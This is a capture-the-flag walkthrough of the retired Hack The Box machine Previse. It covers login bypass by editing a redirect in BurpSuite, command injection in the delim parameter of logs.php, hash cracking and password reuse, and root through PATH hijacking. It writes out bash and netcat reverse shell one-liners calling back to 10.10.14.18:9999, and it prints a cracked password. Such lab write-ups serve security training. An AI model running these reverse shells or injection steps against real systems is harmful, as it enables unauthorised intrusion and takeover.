Hack The Box - Previse Writeup
Kieran Graves
Resourcing Technology - Solution Compliance Lead at Shared Services Connected Ltd
Summary:
Due to this box being retired, I am releasing my writeup. This box gives examples of editing HTTP Web Responses in BurpSuite, Command Injection, PATH exploitation, Password Hash Cracking & Password re-use. This writeup assumes you are connected to the Hack The Box VPN and spawned an instance of the Previse machine. Create your Previse folder and let's get cracking.
Basic Steps To Machine Compromise Overview:
Machine Information:
Operating System: Linux
Released: 07 August 2021
Machine State: Retired
Machine IP Address: 10.129.163.242
Enumeration:
Browsing to the IP Address in Firefox:
Browsing to the IP Address will re-direct us to https://10.129.163.242/login.php which displays a Login page requesting a Username and Password. Attempting to visit any other valid file on the web server will redirect us to this login page; except one, which we will get to later.
Port Scanning with Nmap:
A full TCP port scan with Nmap shows port 80 and 22 open. Port 22 being OpenSSH and Port 80 being an Apache 2.4.29 Web Server, likely running on Linux Ubuntu. We've piped the output of Nmap to fulltcpnmap.log using tee for easier future viewing.
The command used is nmap -sC -sV -T4 -p- 10.129.163.242 | tee fulltcpnmap.log
Directory Brute-forcing using GoBuster:
With no other obvious ports open on the server itself, let's start to bruteforce what other files are accessable via the Apache Web Server. Considering the server automatically redirects us to login.php - we likely want to bruteforce for other .php files.
The command we want to use is gobuster dir -u 10.129.163.242 -x php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
This puts gobuster into Directory enumeration mode, -u is the machine IP address -x is the file extension we are searching for (php) and -w is the wordlist file location we will be using. After running Gobuster for a while you should get a list of valid files and their HTTP response code, it should be similiar to the example shown below.
Bypassing Site Login:
Using the output of Gobuster we can see that nav.php doesn't redirect to login.php - we can access this directly by browsing to https://10.129.163.242/nav.php - this page assumes we are already logged in to a valid user but clicking any of the links will re-direct to login.php
Browsing around the various files we found via Gobuster bares no fruit, but what if we begin tampering with the HTTP Response Codes that the server is sending to us? To do this we can use FoxyProxy to re-direct our web traffic to BurpSuite whilst also opening BurpSuite.
Inside BurpSuite we can set 10.129.163.242 as the target and tell BurpSuite to intercept requests and responses to and from this IP address. We then send a request to https://10.129.163.242/accounts.php - before allowing the request to be forwarded to the server, we can right click the request and tell BurpSuite to intercept the response from the server so we can edit it before the Web Browser renders the response. We then Forward the request to the server and wait for BurpSuite to intercept the Response back.
The first line of the Response shows a 302 HTTP Response Code, since the code starts with a 3 this would indicate this is a redirect code and is responsible for forcing our web browser back to login.php and showing us the login page. Since we have intercepted this response we can modify it to show 200 OK (success) instead and see if our Web Browser will ignore the redirect and render the actual accounts.php page after clicking Forward.
Success! We are now directly accessing a page that assumes we have logged in. We can now use this page to create ourselves a user account so we can freely navigate around the rest of the site to try and gain an actual foothold onto the server itself. Go ahead and create a user and then visit https://10.129.163.242/login.php to login with that new valid user. Don't forget to stop BurpSuite from intercepting the requests too.
Gaining User Foothold:
Once we have created our account and signed in, we are greeted with a file hosting website, having browsed through the menu at the top, the files all match the files we found using Gobuster but were unable to access due to not having a valid account. Now that we are logged in with a valid account that we created, we can freely access these files.
An interesting section of the website is the Files section, here it looks like the site owner has kept a SITEBACKUP.zip - it's always good to take backup's however you normally would like to store these securely and not on the site itself. We can download this site backup and begin to explore the sourcecode of the files themselves to let us have a better understanding of how the website is built and how it operates.
Having downloaded the .zip file to our machine, you can then begin to take a look around the files, maybe there was a file that we didn't spot in your earlier Gobuster enumeration. After enough digging around we find logs.php which is used to download logs that show who has interacted with the uploaded files.
The logs.php file actually runs a python script on the server itself to collect these logs and place them into an out.log file which the web server lets you download. The logs.php file also lets us select a delimiter to use to split the data that is downloaded.
Command Injection inside logs.php
This delimiter selection is actually controlled by a user supplied POST parameter, the site owner assumes we will use one of the delimiters listed on the website but by using BurpSuite we can inject a command to actually create a reverse shell to allow us to issue direct commands to the server.
We can turn on FoxyProxy to redirect our traffic to BurpSuite and then intercept our request to download the logs and include our Reverse Shell Command Injection into the delim POST parameter.
We can use https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet to find a bash reverse shell that should work, we need to remember to use %26 to represent the & symbol as otherwise our Web Browser will assume we are adding a new parameter and not actually send the command as part of the delim parameter.
Our URL Encoded Bash Reverse shell is %26/bin/bash+-c+'bash+-i+>+/dev/tcp/10.10.14.18/9999+0>%261'
We need to be sure to run NetCat on our machine, listening on port 9999. This can be done by running nc -lvnp 9999
领英推荐
Our Reverse Shell command needs the URL Encoded & symbol at the start of the command to begin the injection of the bash reverse shell, then after /tcp/ we need our HTB VPN IP Address and 9999 to specify the port that netcat is running on. We then finish this with another & to pipe this command output to NULL and then a single quote to close the command so the original script itself doesn't error and fail.
With NetCat running and listening on port 9999 we can now edit our request in BurpSuite to add the Reverse Shell command to the delim Parameter and Forward the request to send the request to the server with the command injection inside it. When the server accepts this request it will run the log collecting python script which uses the comma delimiter argument and then also tells the operating system to run our reverse shell command.
Upgrading the reverse shell for stability:
Issue the following command in the reverse shell, If you don't don't this then your mysql command will fail later on in this walkthrough. python -c "import pty; pty.spawn('/bin/bash')"
Privilege Escalation from www-data to m4lwhere user:
We now have shell access to the box itself and can issue commands. However we are issuing these commands as the www-data user with very little permissions. We need to access the user.txt flag within m4lwhere's home directory but do not have permission to access this as the www-data user.
We can run netstat -tulpn | grep LISTEN to check which services are running locally and we can see that a service is running on port 3306. This port is normally used by MYSQL. This service is running locally which explains why we did not see this port when doing our initial Nmap enumeration.
Looking back at the SITEBACKUP.zip that we downloaded earlier, we can find MYSQL credentials that allow us to login to the local MYSQL Database. These credentials are stored inside config.php and is used by the site to make a MYSQL database connection.
Using the command mysql -u root -p and then entering the root password, we will gain a SQL shell which we can use to select the previse database and extract the password hash for the m4lwhere user.
We can use the USE PREVISE; SELECT * FROM ACCOUNTS; command to extract the password hash. The hash is $1$??llol$DQpmdvnb7EeuO6UaqRItf.
Yes, the salt emoji is the salt for the hash. Very clever....
By using an Online Hash identifer we can see that this hash is MD5Crypt and we can use HashCat to try and crack this, using mode 500 to specify it as an MD5Crypt hash and using the rockyou.txt wordlist file. I personally use my actual Windows machine for this so I can use my GPU to it's full potential to crack the password hash, the command I use is: hashcat.exe -m 500 m4lwhere.hash rockyou.txt
After letting it run for a while it manages to crack the password hash and reveals the password as ilovecody112235!
M4lwhere is bad at security it seems and re-uses their password for their account on the machine itself, so we can SSH into server as m4lwhere using the password ilovecody112235! to gain Low-Level user access and view user.txt in the m4lwhere user homedrive.
cat /home/m4lwhere/user.txt
Escalating privlege from m4lwhere to Root:
The m4lwhere user does not have administrator access to the machine, we need to gain access to the Root user to allow us full control of the machine and to fully compromise it.
We run the sudo -l command as m4lwhere to see if m4lwhere can run any files within the Root context.
This normally wouldn't be an issue however because m4lwhere has poor password choice and has re-used their password, we have a fully stable shell and can enter the password to run the sudo -l command. We wouldn't be able to do this if we had a simple reverse shell as we wouldn't know the password.
The access_backup.sh script will run as the root user with full administrator permissions, let's open this bash script to see what is does. We can look inside by using the cat command to view it's contents. cat /opt/scripts/access_backup.sh
The file is indeed a Bash Script and looks like this file runs on a scheduled cron-job to take backups periodically. It's using a gzip command to create a compressed file from the log files of the website.
The script is not using a direct path to grab the date object inside the gzip command, we can modify the Operating System $PATH to abuse this script to run a reverse shell as root when trying to compress the log files.
To do this we need to create a malicious date file and then modify the $PATH variable to ensure that when the gzip command is ran, it checks our malicious date object first. We can do this by entering the following commands.
cd /dev/shm
We do this command to move into the /dev/shm directory which we have write permissions to.
echo "nc 10.10.14.18 9999 -e /bin/bash" > date
This will create a date file with the contents being a netcat command to connect to our host HTB VPN IP address on port 9999 and execute /bin/bash. Don't forget to start a new NetCat listener on your Host Machine using nc -lvnp 9999
We then need to allow everyone on the machine to read, write and execute the date file.
chmod 777 date
Lastly we need to add /dev/shm to our $PATH variable, the $PATH is read by the Operating System from left to right, so the latest addition to the path is read first.
export PATH=$(pwd):$PATH
We can now run the access_backup.sh script as sudo which should then create a reverse shell as root.
sudo /opt/scripts/access_backup.sh
As soon as the command is run, netcat shows the connection from the server and we can issue the id command within NetCat to verify we are running as the root user and then use cat /root/root.txt to display the root flag.
Previse is now rooted.
Security Consultant and Architect
2 年Great work